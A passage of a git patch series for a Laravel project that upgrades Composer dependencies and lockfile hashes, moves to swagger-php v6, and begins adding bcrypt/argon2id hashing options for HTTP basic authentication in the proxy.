"nunomaduro/collision": { "version": "v8.9.5", @@ -863,16 +867,16 @@ "hash": "tree-v2:0409e2019377650177c2b10da803617abc85e49d5b02b8697d450c007eab42b4" }, "phpstan/phpstan": { - "version": "2.2.8", - "hash": "tree-v2:11220d859d5bd2348fd5077163b60446b371076d43567e50fa7c8d392a1beffd" + "version": "2.2.16", + "hash": "tree-v2:2c6a2e25bc83ef5a18b9a3a5fb9ac9464160a2e414cf4df481d3810becefdde1" }, "phpunit/php-code-coverage": { "version": "12.5.7", "hash": "tree-v2:5cf24f83c21b6d8fce23e7ad853f77f0807e76f4c84d4f7ffb9053a167df16ca" }, "phpunit/php-file-iterator": { - "version": "6.0.1", - "hash": "tree-v2:54536e94dfbd738ec39954f8f2bc3774caa1a1b12a439cafe42011cac2ee0569" + "version": "6.0.2", + "hash": "tree-v2:5899b835455b09f32cda45548e9aaa437dd3aa9508c5960076d081175aa53293" }, "phpunit/php-invoker": { "version": "6.0.0", @@ -891,8 +895,8 @@ "hash": "tree-v2:fe7d4ec3e4840290cee07c39535422b61bb31ebd2afde15a39a78373a0cd2c64" }, "rector/rector": { - "version": "2.6.1", - "hash": "tree-v2:2a4a264d7df24292e129c0d39cdc6a09f70dbf9393ad9868b8741e5eb429e716" + "version": "2.6.7", + "hash": "tree-v2:9e83455ef9d1fa0a25829c840dd17ad00620e4b315bed4aee4fde6a2aa10cac5" }, "revolt/event-loop": { "version": "v1.0.9", @@ -911,8 +915,8 @@ "hash": "tree-v2:f0d6eb200ba389679d875eb854ffc9d6c55884d1e5b5bdcd2e58cb27d505c362" }, "sebastian/diff": { - "version": "7.0.0", - "hash": "tree-v2:c72b3660535ae84aa1fa0cf9f328ee07fa30fb779724ee10462908121ec2d8ac" + "version": "7.0.1", + "hash": "tree-v2:97deb1c25a59326f762c614ccc25be2163296ae70762785f12d307ed967a5326" }, "sebastian/environment": { "version": "8.1.2", @@ -951,20 +955,24 @@ "hash": "tree-v2:b900b2263d6a49e35e6c9adf9d477f927d769f6a019ae4532a6867b44506f456" }, "serversideup/spin": { - "version": "v3.3.0", - "hash": "tree-v2:bba2bd0cc9b72ae27db7fb4cded0b8b9959fe39d2528f733e4d6f12264f9e279" + "version": "v3.5.2", + "hash": "tree-v2:21e14ccdd73e58677be9802890fd8d73dc3bd608e7693451ed63c34329cfe2a0" }, "staabm/side-effects-detector": { "version": "1.0.5", "hash": "tree-v2:26d964435c381c94abd5dbadf497d7888b5a811f0693b66aa7976a3d01c545ba" }, "symfony/http-client": { - "version": "v7.4.16", - "hash": "tree-v2:d316de62dd4763550b258ab71fd021a58c42743e8e9f2e79d0f54f944fedbb6b" + "version": "v7.4.20", + "hash": "tree-v2:01cdb0293ea860ec2a8a73a855d8a05ed611e0f71cdaad02699782a8f47f5ccc" }, "symfony/http-client-contracts": { - "version": "v3.7.1", - "hash": "tree-v2:6b3703eade4cde3e59fae53198d32bd786fb63786980c71b2049b29afbc971f0" + "version": "v3.7.3", + "hash": "tree-v2:3fba0792bd4d55c49f97b475328f8f87d3c0f761c4a533d03b7f9afea731046f" + }, + "symplify/rule-doc-generator-contracts": { + "version": "11.2.0", + "hash": "tree-v2:143fc89ce64308c660e6f52de2df92429720106e1e43e1484dd93193772ed011" }, "ta-tikoma/phpunit-architecture-test": { "version": "0.8.7", From d5b3fad6cd1f2e7a46d136283691f6f09a913df8 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sat, 3 Oct 2026 22:55:28 +0200 Subject: [PATCH 07/24] chore(deps): upgrade composer dependencies to new major versions --- composer.json | 8 +-- composer.lock | 136 +++++++++++++++++++++++++------------------------- vet.json | 16 +++--- 3 files changed, 79 insertions(+), 81 deletions(-) diff --git a/composer.json b/composer.json index 222e4ed045..63607eb98b 100644 --- a/composer.json +++ b/composer.json @@ -25,7 +25,7 @@ "laravel/reverb": "^1.12.0", "laravel/sanctum": "^4.3.3", "laravel/socialite": "^5.30.0", - "laravel/tinker": "^2.11.1", + "laravel/tinker": "^3.0.2", "laravel/ui": "^4.6.3", "lcobucci/jwt": "^5.6.0", "league/flysystem-aws-s3-v3": "^3.35.3", @@ -55,8 +55,8 @@ "spatie/url": "^2.4.0", "stevebauman/purify": "^6.3.2", "stripe/stripe-php": "^16.6.0", - "symfony/yaml": "^7.4.20", - "visus/cuid2": "^6.0.0", + "symfony/yaml": "^8.1.8", + "visus/cuid2": "^7.0.0", "yosymfony/toml": "^1.0.4", "zircote/swagger-php": "^5.8.3" }, @@ -73,7 +73,7 @@ "phpstan/phpstan": "^2.2.16", "rector/rector": "^2.6.7", "serversideup/spin": "^3.5.2", - "symfony/http-client": "^7.4.20" + "symfony/http-client": "^8.1.8" }, "minimum-stability": "stable", "prefer-stable": true, diff --git a/composer.lock b/composer.lock index 7df96507d0..43ded925a9 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "6aa67566da21c08f267067cdbad6d18b", + "content-hash": "5a92d3a9cc7cdaa3fc2598841619ec11", "packages": [ { "name": "aws/aws-crt-php", @@ -2877,33 +2877,33 @@ }, { "name": "laravel/tinker", - "version": "v2.11.1", + "version": "v3.0.2", "source": { "type": "git", "url": "https://github.com/laravel/tinker.git", - "reference": "c9f80cc835649b5c1842898fb043f8cc098dd741" + "reference": "4faba77764bd33411735936acdf30446d058c78b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/tinker/zipball/c9f80cc835649b5c1842898fb043f8cc098dd741", - "reference": "c9f80cc835649b5c1842898fb043f8cc098dd741", + "url": "https://api.github.com/repos/laravel/tinker/zipball/4faba77764bd33411735936acdf30446d058c78b", + "reference": "4faba77764bd33411735936acdf30446d058c78b", "shasum": "" }, "require": { - "illuminate/console": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/contracts": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "php": "^7.2.5|^8.0", - "psy/psysh": "^0.11.1|^0.12.0", - "symfony/var-dumper": "^4.3.4|^5.0|^6.0|^7.0|^8.0" + "illuminate/console": "^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/contracts": "^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "php": "^8.1", + "psy/psysh": "^0.12.0", + "symfony/var-dumper": "^5.4|^6.0|^7.0|^8.0" }, "require-dev": { "mockery/mockery": "~1.3.3|^1.4.2", "phpstan/phpstan": "^1.10", - "phpunit/phpunit": "^8.5.8|^9.3.3|^10.0" + "phpunit/phpunit": "^10.5|^11.5" }, "suggest": { - "illuminate/database": "The Illuminate Database package (^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0)." + "illuminate/database": "The Illuminate Database package (^8.0|^9.0|^10.0|^11.0|^12.0|^13.0)." }, "type": "library", "extra": { @@ -2911,6 +2911,9 @@ "providers": [ "Laravel\\Tinker\\TinkerServiceProvider" ] + }, + "branch-alias": { + "dev-master": "3.x-dev" } }, "autoload": { @@ -2937,9 +2940,9 @@ ], "support": { "issues": "https://github.com/laravel/tinker/issues", - "source": "https://github.com/laravel/tinker/tree/v2.11.1" + "source": "https://github.com/laravel/tinker/tree/v3.0.2" }, - "time": "2026-02-06T14:12:35+00:00" + "time": "2026-03-17T14:54:13+00:00" }, { "name": "laravel/ui", @@ -11872,28 +11875,28 @@ }, { "name": "symfony/yaml", - "version": "v7.4.20", + "version": "v8.1.8", "source": { "type": "git", "url": "https://github.com/symfony/yaml.git", - "reference": "0222bf4dfaa1e3ceb8fff579635d655f2950d5a7" + "reference": "030e96eed0303223bfca3af9109e9e64830b6ec3" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/yaml/zipball/0222bf4dfaa1e3ceb8fff579635d655f2950d5a7", - "reference": "0222bf4dfaa1e3ceb8fff579635d655f2950d5a7", + "url": "https://api.github.com/repos/symfony/yaml/zipball/030e96eed0303223bfca3af9109e9e64830b6ec3", + "reference": "030e96eed0303223bfca3af9109e9e64830b6ec3", "shasum": "" }, "require": { - "php": ">=8.2", - "symfony/deprecation-contracts": "^2.5|^3", + "php": ">=8.4.1", "symfony/polyfill-ctype": "^1.8" }, "conflict": { - "symfony/console": "<6.4" + "symfony/console": "<7.4" }, "require-dev": { - "symfony/console": "^6.4|^7.0|^8.0" + "symfony/console": "^7.4|^8.0", + "yaml/yaml-test-suite": "*" }, "bin": [ "Resources/bin/yaml-lint" @@ -11924,7 +11927,7 @@ "description": "Loads and dumps YAML files", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/yaml/tree/v7.4.20" + "source": "https://github.com/symfony/yaml/tree/v8.1.8" }, "funding": [ { @@ -11944,7 +11947,7 @@ "type": "tidelift" } ], - "time": "2026-09-26T06:31:10+00:00" + "time": "2026-09-26T06:33:49+00:00" }, { "name": "tijsverkoyen/css-to-inline-styles", @@ -12003,35 +12006,34 @@ }, { "name": "visus/cuid2", - "version": "6.0.0", + "version": "7.0.0", "source": { "type": "git", "url": "https://github.com/visus-io/php-cuid2.git", - "reference": "834c8a1c04684931600ee7a4189150b331a5b56c" + "reference": "a495550b8a88a4813f6a15683eb74bbb60312fe1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/visus-io/php-cuid2/zipball/834c8a1c04684931600ee7a4189150b331a5b56c", - "reference": "834c8a1c04684931600ee7a4189150b331a5b56c", + "url": "https://api.github.com/repos/visus-io/php-cuid2/zipball/a495550b8a88a4813f6a15683eb74bbb60312fe1", + "reference": "a495550b8a88a4813f6a15683eb74bbb60312fe1", "shasum": "" }, "require": { - "php": "^8.2", - "symfony/polyfill-php83": "^1.32" + "php": "^8.3" }, "require-dev": { - "captainhook/captainhook": "^5.27", - "captainhook/hook-installer": "^1.0", - "captainhook/plugin-composer": "^5.3", - "dealerdirect/phpcodesniffer-composer-installer": "^1.2", - "ergebnis/composer-normalize": "^2.29", + "captainhook/captainhook": "^5.29.2", + "captainhook/hook-installer": "^1.0.5", + "captainhook/plugin-composer": "^5.3.3", + "dealerdirect/phpcodesniffer-composer-installer": "^1.2.1", + "ergebnis/composer-normalize": "^2.52", "php-parallel-lint/php-parallel-lint": "^1.4", - "phpbench/phpbench": "^1.4", - "phpstan/phpstan": "^1.9", - "phpunit/phpunit": "^10.5", - "ramsey/conventional-commits": "^1.5", - "slevomat/coding-standard": "^8.25", - "squizlabs/php_codesniffer": "^4.0" + "phpbench/phpbench": "^1.7", + "phpstan/phpstan": "^2.2.7", + "phpunit/phpunit": "^12.5.33", + "ramsey/conventional-commits": "^1.7", + "slevomat/coding-standard": "^8.31.1", + "squizlabs/php_codesniffer": "^4.0.1" }, "suggest": { "ext-gmp": "Enables faster math with arbitrary precision integers using GMP." @@ -12067,9 +12069,9 @@ ], "support": { "issues": "https://github.com/visus-io/php-cuid2/issues", - "source": "https://github.com/visus-io/php-cuid2/tree/6.0.0" + "source": "https://github.com/visus-io/php-cuid2/tree/7.0.0" }, - "time": "2025-12-18T14:52:27+00:00" + "time": "2026-09-21T10:58:46+00:00" }, { "name": "vlucas/phpdotenv", @@ -17451,31 +17453,28 @@ }, { "name": "symfony/http-client", - "version": "v7.4.20", + "version": "v8.1.8", "source": { "type": "git", "url": "https://github.com/symfony/http-client.git", - "reference": "750a420b8dd0af3d6e1c6c1412802abf2cdd2b6c" + "reference": "e20aca4ceaa888197de5c792ffc551d99e43d98a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-client/zipball/750a420b8dd0af3d6e1c6c1412802abf2cdd2b6c", - "reference": "750a420b8dd0af3d6e1c6c1412802abf2cdd2b6c", + "url": "https://api.github.com/repos/symfony/http-client/zipball/e20aca4ceaa888197de5c792ffc551d99e43d98a", + "reference": "e20aca4ceaa888197de5c792ffc551d99e43d98a", "shasum": "" }, "require": { - "php": ">=8.2", + "php": ">=8.4.1", "psr/log": "^1|^2|^3", - "symfony/deprecation-contracts": "^2.5|^3", - "symfony/http-client-contracts": "~3.4.4|^3.5.2", - "symfony/polyfill-php83": "^1.29", + "symfony/deprecation-contracts": "^2.5|^3.0", + "symfony/http-client-contracts": "^3.7", "symfony/service-contracts": "^2.5|^3" }, "conflict": { - "amphp/amp": "<2.5", - "amphp/socket": "<1.1", - "php-http/discovery": "<1.15", - "symfony/http-foundation": "<6.4" + "amphp/amp": "<3", + "php-http/discovery": "<1.15" }, "provide": { "php-http/async-client-implementation": "*", @@ -17484,20 +17483,19 @@ "symfony/http-client-implementation": "3.0" }, "require-dev": { - "amphp/http-client": "^4.2.1|^5.0", - "amphp/http-tunnel": "^1.0|^2.0", - "guzzlehttp/promises": "^1.4|^2.0", + "amphp/http-client": "^5.3.2", + "amphp/http-tunnel": "^2.0", + "guzzlehttp/guzzle": "^7.10|^8.0", "nyholm/psr7": "^1.0", "php-http/httplug": "^1.0|^2.0", "psr/http-client": "^1.0", - "symfony/amphp-http-client-meta": "^1.0|^2.0", - "symfony/cache": "^6.4|^7.0|^8.0", - "symfony/dependency-injection": "^6.4|^7.0|^8.0", - "symfony/http-kernel": "^6.4|^7.0|^8.0", - "symfony/messenger": "^6.4|^7.0|^8.0", - "symfony/process": "^6.4|^7.0|^8.0", - "symfony/rate-limiter": "^6.4|^7.0|^8.0", - "symfony/stopwatch": "^6.4|^7.0|^8.0" + "symfony/cache": "^7.4|^8.0", + "symfony/dependency-injection": "^7.4|^8.0", + "symfony/http-kernel": "^7.4|^8.0", + "symfony/messenger": "^7.4|^8.0", + "symfony/process": "^7.4|^8.0", + "symfony/rate-limiter": "^7.4|^8.0", + "symfony/stopwatch": "^7.4|^8.0" }, "type": "library", "autoload": { @@ -17528,7 +17526,7 @@ "http" ], "support": { - "source": "https://github.com/symfony/http-client/tree/v7.4.20" + "source": "https://github.com/symfony/http-client/tree/v8.1.8" }, "funding": [ { @@ -17548,7 +17546,7 @@ "type": "tidelift" } ], - "time": "2026-09-24T11:02:13+00:00" + "time": "2026-09-24T11:09:32+00:00" }, { "name": "symfony/http-client-contracts", diff --git a/vet.json b/vet.json index de28baaa3e..c697711495 100644 --- a/vet.json +++ b/vet.json @@ -153,8 +153,8 @@ "hash": "tree-v2:935f438d7fd622b867b4752ae68b906f120cd770c126d4c2f6dbfc49eaec4dbb" }, "laravel/tinker": { - "version": "v2.11.1", - "hash": "tree-v2:dbf0a4e6982ec1eb10731c20edaca53829317d294b9a61432b3832a0ef5270fe" + "version": "v3.0.2", + "hash": "tree-v2:07c01215fec4bef8c1a223bba86119b769ab70dd45d7013834d3dfcdf8046fea" }, "laravel/ui": { "version": "v4.6.3", @@ -649,16 +649,16 @@ "hash": "tree-v2:6cf1763f4c700d9ead924182f1176ee815be6414cb1ea67bc6e92d13fc3461b2" }, "symfony/yaml": { - "version": "v7.4.20", - "hash": "tree-v2:6df48f1dc34ac760427993457ed35021434f1ae3d5ebfd610dfffee57bc7cfe9" + "version": "v8.1.8", + "hash": "tree-v2:8d990fa9be574dec0fbb19199b855c71c40515b9feebaa996d44de7c954143ee" }, "tijsverkoyen/css-to-inline-styles": { "version": "v2.4.0", "hash": "tree-v2:ac5b86c6dee0dc8f5c5f7f98d250d378d8c65dde04156022650e4776734f7fcb" }, "visus/cuid2": { - "version": "6.0.0", - "hash": "tree-v2:e96d37d3b83f67809d1ea0fb7f4e33f9879d7aeb2dc5b4fa2135b84177e651c9" + "version": "7.0.0", + "hash": "tree-v2:9558deceb662c50e421e5e42402f973d6cdf72af45322f5274337f6fb741ad2a" }, "vlucas/phpdotenv": { "version": "v5.7.0", @@ -963,8 +963,8 @@ "hash": "tree-v2:26d964435c381c94abd5dbadf497d7888b5a811f0693b66aa7976a3d01c545ba" }, "symfony/http-client": { - "version": "v7.4.20", - "hash": "tree-v2:01cdb0293ea860ec2a8a73a855d8a05ed611e0f71cdaad02699782a8f47f5ccc" + "version": "v8.1.8", + "hash": "tree-v2:4ef9be0a8af777834c59a7d18c442cbb950b4e5e4d725c22250d301d1ffb7ccb" }, "symfony/http-client-contracts": { "version": "v3.7.3", From c298c22f9999057e38ccd09d0dc0945bfa3ea524 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sat, 3 Oct 2026 22:59:20 +0200 Subject: [PATCH 08/24] chore(deps): upgrade swagger-php to v6 --- app/Console/Commands/Generate/OpenApi.php | 13 +-- composer.json | 2 +- composer.lock | 97 ++++++++++++++++++----- vet.json | 8 +- 4 files changed, 91 insertions(+), 29 deletions(-) diff --git a/app/Console/Commands/Generate/OpenApi.php b/app/Console/Commands/Generate/OpenApi.php index d1e018b0c4..64d83e1bf9 100644 --- a/app/Console/Commands/Generate/OpenApi.php +++ b/app/Console/Commands/Generate/OpenApi.php @@ -17,7 +17,8 @@ class OpenApi extends Command // Generate OpenAPI documentation echo "Generating OpenAPI documentation.\n"; // https://github.com/OAI/OpenAPI-Specification/releases - $process = Process::run([ + // swagger-php 6 leaves PHP warnings to PHP itself; with Xdebug each one carries a stack trace and exhausts memory. + $process = Process::env(['XDEBUG_MODE' => 'off'])->run([ './vendor/bin/openapi', 'app', // Server transfer endpoints are development-only (isDev()), so they stay out of the public docs. @@ -28,11 +29,11 @@ class OpenApi extends Command '--version', '3.1.0', ]); - $error = $process->errorOutput(); - $error = preg_replace('/^.*an object literal,.*$/m', '', $error); - $error = preg_replace('/^\h*\v+/m', '', $error); - echo $error; - echo $process->output(); + foreach ([$process->errorOutput(), $process->output()] as $output) { + $output = preg_replace('/^.*an object literal,.*$/m', '', $output); + $output = preg_replace('/^\h*\v+/m', '', $output); + echo $output; + } $yaml = file_get_contents('openapi.yaml'); diff --git a/composer.json b/composer.json index 63607eb98b..7e92f92cb3 100644 --- a/composer.json +++ b/composer.json @@ -58,7 +58,7 @@ "symfony/yaml": "^8.1.8", "visus/cuid2": "^7.0.0", "yosymfony/toml": "^1.0.4", - "zircote/swagger-php": "^5.8.3" + "zircote/swagger-php": "^6.11.0" }, "require-dev": { "driftingly/rector-laravel": "^2.6.2", diff --git a/composer.lock b/composer.lock index 43ded925a9..43835e7622 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "5a92d3a9cc7cdaa3fc2598841619ec11", + "content-hash": "664589c32e86e8e6fc2a0fb17feab410", "packages": [ { "name": "aws/aws-crt-php", @@ -6184,6 +6184,68 @@ }, "time": "2026-08-07T12:47:11+00:00" }, + { + "name": "radebatz/type-info-extras", + "version": "1.0.9", + "source": { + "type": "git", + "url": "https://github.com/DerManoMann/type-info-extras.git", + "reference": "2d9f01d60d642f890d9f170c0d8fde1f75ab17fb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/DerManoMann/type-info-extras/zipball/2d9f01d60d642f890d9f170c0d8fde1f75ab17fb", + "reference": "2d9f01d60d642f890d9f170c0d8fde1f75ab17fb", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "phpstan/phpdoc-parser": "^2.0", + "symfony/type-info": "^7.3.8 || ^7.4.1 || ^8.0 || ^8.1-@dev" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^3.70", + "phpstan/phpstan": "^2.1", + "phpunit/phpunit": "^11.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Radebatz\\TypeInfoExtras\\": "src" + }, + "exclude-from-classmap": [ + "/tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Martin Rademacher", + "email": "mano@radebatz.org" + } + ], + "description": "Extras for symfony/type-info", + "homepage": "http://radebatz.net/mano/", + "keywords": [ + "component", + "symfony", + "type-info", + "types" + ], + "support": { + "issues": "https://github.com/DerManoMann/type-info-extras/issues", + "source": "https://github.com/DerManoMann/type-info-extras/tree/1.0.9" + }, + "time": "2026-09-29T22:04:31+00:00" + }, { "name": "ralouphie/getallheaders", "version": "3.0.3", @@ -12570,24 +12632,25 @@ }, { "name": "zircote/swagger-php", - "version": "5.8.3", + "version": "6.11.0", "source": { "type": "git", "url": "https://github.com/zircote/swagger-php.git", - "reference": "098223019f764a16715f64089a58606096719c98" + "reference": "f998f7e712658fba61f86fccbdcf8e301a982175" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/zircote/swagger-php/zipball/098223019f764a16715f64089a58606096719c98", - "reference": "098223019f764a16715f64089a58606096719c98", + "url": "https://api.github.com/repos/zircote/swagger-php/zipball/f998f7e712658fba61f86fccbdcf8e301a982175", + "reference": "f998f7e712658fba61f86fccbdcf8e301a982175", "shasum": "" }, "require": { - "ext-json": "*", "nikic/php-parser": "^4.19 || ^5.0", - "php": ">=7.4", + "php": ">=8.2", "phpstan/phpdoc-parser": "^2.0", "psr/log": "^1.1 || ^2.0 || ^3.0", + "radebatz/type-info-extras": "^1.0.2", + "symfony/console": "^6.4 || ^7.0 || ^8.0", "symfony/deprecation-contracts": "^2 || ^3", "symfony/finder": "^5.0 || ^6.0 || ^7.0 || ^8.0", "symfony/yaml": "^5.4 || ^6.0 || ^7.0 || ^8.0" @@ -12596,17 +12659,11 @@ "symfony/process": ">=6, <6.4.14" }, "require-dev": { - "composer/package-versions-deprecated": "^1.11", "doctrine/annotations": "^2.0", - "friendsofphp/php-cs-fixer": "^3.62.0", - "phpstan/phpstan": "^1.6 || ^2.0", - "phpunit/phpunit": "^9.0", - "rector/rector": "^1.0 || ^2.3.1", - "vimeo/psalm": "^4.30 || ^5.0" - }, - "suggest": { - "doctrine/annotations": "^2.0", - "radebatz/type-info-extras": "^1.0.2" + "friendsofphp/php-cs-fixer": "3.95.23", + "phpstan/phpstan": "2.2.12", + "phpunit/phpunit": "^11.5 || >=12.5.22", + "rector/rector": "2.6.5" }, "bin": [ "bin/openapi" @@ -12614,7 +12671,7 @@ "type": "library", "extra": { "branch-alias": { - "dev-master": "5.x-dev" + "dev-master": "6.x-dev" } }, "autoload": { @@ -12652,7 +12709,7 @@ ], "support": { "issues": "https://github.com/zircote/swagger-php/issues", - "source": "https://github.com/zircote/swagger-php/tree/5.8.3" + "source": "https://github.com/zircote/swagger-php/tree/6.11.0" }, "funding": [ { @@ -12660,7 +12717,7 @@ "type": "github" } ], - "time": "2026-03-02T00:47:18+00:00" + "time": "2026-09-26T07:11:30+00:00" } ], "packages-dev": [ diff --git a/vet.json b/vet.json index c697711495..a6e2e321e4 100644 --- a/vet.json +++ b/vet.json @@ -348,6 +348,10 @@ "version": "7.3.0", "hash": "tree-v2:c7713b62c33d0f6504f5226e33be144a1255125ec013abfe5ee06fa619c4a340" }, + "radebatz/type-info-extras": { + "version": "1.0.9", + "hash": "tree-v2:8922f01f69a848e5332fe1e16033223e9afd552039df344b851fd2e2644488ca" + }, "ralouphie/getallheaders": { "version": "3.0.3", "hash": "tree-v2:db666a4e690725b904b5de22a95b230e08ba09f45559a03b32ffb933b0abb75f" @@ -689,8 +693,8 @@ "hash": "tree-v2:06d6d20af34021a04bb906b2f8b28a82dc986db7e17234bbae7074b1235e7119" }, "zircote/swagger-php": { - "version": "5.8.3", - "hash": "tree-v2:82ab08143346378ab92441f4372cb4ff75439fc9164d53dc79e155d03d12d5a8" + "version": "6.11.0", + "hash": "tree-v2:d6535e60c5f64c53eba5cfe4f8729ae437b0007f2a0d67d2a2daeae3bf01f79f" } }, "require-dev": { From 174e0131f77c8fc9dec3c2f009a872184fec4c9a Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sat, 3 Oct 2026 21:54:48 +0200 Subject: [PATCH 09/24] feat(proxy): add hashing options for HTTP basic authentication --- app/Enums/HttpBasicAuthHashAlgorithm.php | 9 + .../Api/ApplicationsController.php | 49 ++++- app/Livewire/Project/Application/General.php | 30 ++- app/Models/Application.php | 16 ++ app/Models/Server.php | 6 + .../ApplicationConfigurationSnapshot.php | 4 + bootstrap/helpers/api.php | 5 + bootstrap/helpers/docker.php | 29 ++- database/factories/ApplicationFactory.php | 3 + ...uth_hash_options_to_applications_table.php | 30 +++ openapi.json | 202 ++++++++++++++++++ openapi.yaml | 155 ++++++++++++++ .../project/application/general.blade.php | 39 ++++ .../Api/ApplicationSettingsApiTest.php | 29 +++ .../ApplicationHttpBasicAuthUiTest.php | 70 ++++++ .../Proxy/CaddyBasicAuthLabelsTest.php | 52 +++++ .../ApplicationConfigurationSnapshotTest.php | 16 ++ .../ApplicationHttpBasicAuthHashingTest.php | 45 ++++ 18 files changed, 778 insertions(+), 11 deletions(-) create mode 100644 app/Enums/HttpBasicAuthHashAlgorithm.php create mode 100644 database/migrations/2026_10_02_170101_add_http_basic_auth_hash_options_to_applications_table.php create mode 100644 tests/v4/Browser/ApplicationHttpBasicAuthHashingTest.php diff --git a/app/Enums/HttpBasicAuthHashAlgorithm.php b/app/Enums/HttpBasicAuthHashAlgorithm.php new file mode 100644 index 0000000000..c6340c0a1f --- /dev/null +++ b/app/Enums/HttpBasicAuthHashAlgorithm.php @@ -0,0 +1,9 @@ + ['type' => 'boolean', 'description' => 'HTTP Basic Authentication enabled.'], 'http_basic_auth_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTP Basic Authentication'], 'http_basic_auth_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password for HTTP Basic Authentication'], + 'http_basic_auth_hash_algorithm' => ['type' => 'string', 'enum' => ['bcrypt', 'argon2id'], 'default' => 'bcrypt', 'description' => 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.'], + 'http_basic_auth_bcrypt_cost' => ['type' => 'integer', 'minimum' => 4, 'maximum' => 14, 'default' => 10, 'description' => 'Bcrypt cost for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_memory_cost' => ['type' => 'integer', 'minimum' => 8192, 'maximum' => 262144, 'default' => 65536, 'description' => 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_time_cost' => ['type' => 'integer', 'minimum' => 1, 'maximum' => 12, 'default' => 4, 'description' => 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.'], 'connect_to_docker_network' => ['type' => 'boolean', 'description' => 'The flag to connect the service to the predefined Docker network.'], 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], @@ -620,6 +625,10 @@ class ApplicationsController extends Controller 'is_http_basic_auth_enabled' => ['type' => 'boolean', 'description' => 'HTTP Basic Authentication enabled.'], 'http_basic_auth_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTP Basic Authentication'], 'http_basic_auth_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password for HTTP Basic Authentication'], + 'http_basic_auth_hash_algorithm' => ['type' => 'string', 'enum' => ['bcrypt', 'argon2id'], 'default' => 'bcrypt', 'description' => 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.'], + 'http_basic_auth_bcrypt_cost' => ['type' => 'integer', 'minimum' => 4, 'maximum' => 14, 'default' => 10, 'description' => 'Bcrypt cost for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_memory_cost' => ['type' => 'integer', 'minimum' => 8192, 'maximum' => 262144, 'default' => 65536, 'description' => 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_time_cost' => ['type' => 'integer', 'minimum' => 1, 'maximum' => 12, 'default' => 4, 'description' => 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.'], 'connect_to_docker_network' => ['type' => 'boolean', 'description' => 'The flag to connect the service to the predefined Docker network.'], 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], @@ -815,6 +824,10 @@ class ApplicationsController extends Controller 'is_http_basic_auth_enabled' => ['type' => 'boolean', 'description' => 'HTTP Basic Authentication enabled.'], 'http_basic_auth_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTP Basic Authentication'], 'http_basic_auth_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password for HTTP Basic Authentication'], + 'http_basic_auth_hash_algorithm' => ['type' => 'string', 'enum' => ['bcrypt', 'argon2id'], 'default' => 'bcrypt', 'description' => 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.'], + 'http_basic_auth_bcrypt_cost' => ['type' => 'integer', 'minimum' => 4, 'maximum' => 14, 'default' => 10, 'description' => 'Bcrypt cost for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_memory_cost' => ['type' => 'integer', 'minimum' => 8192, 'maximum' => 262144, 'default' => 65536, 'description' => 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_time_cost' => ['type' => 'integer', 'minimum' => 1, 'maximum' => 12, 'default' => 4, 'description' => 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.'], 'connect_to_docker_network' => ['type' => 'boolean', 'description' => 'The flag to connect the service to the predefined Docker network.'], 'force_domain_override' => ['type' => 'boolean', 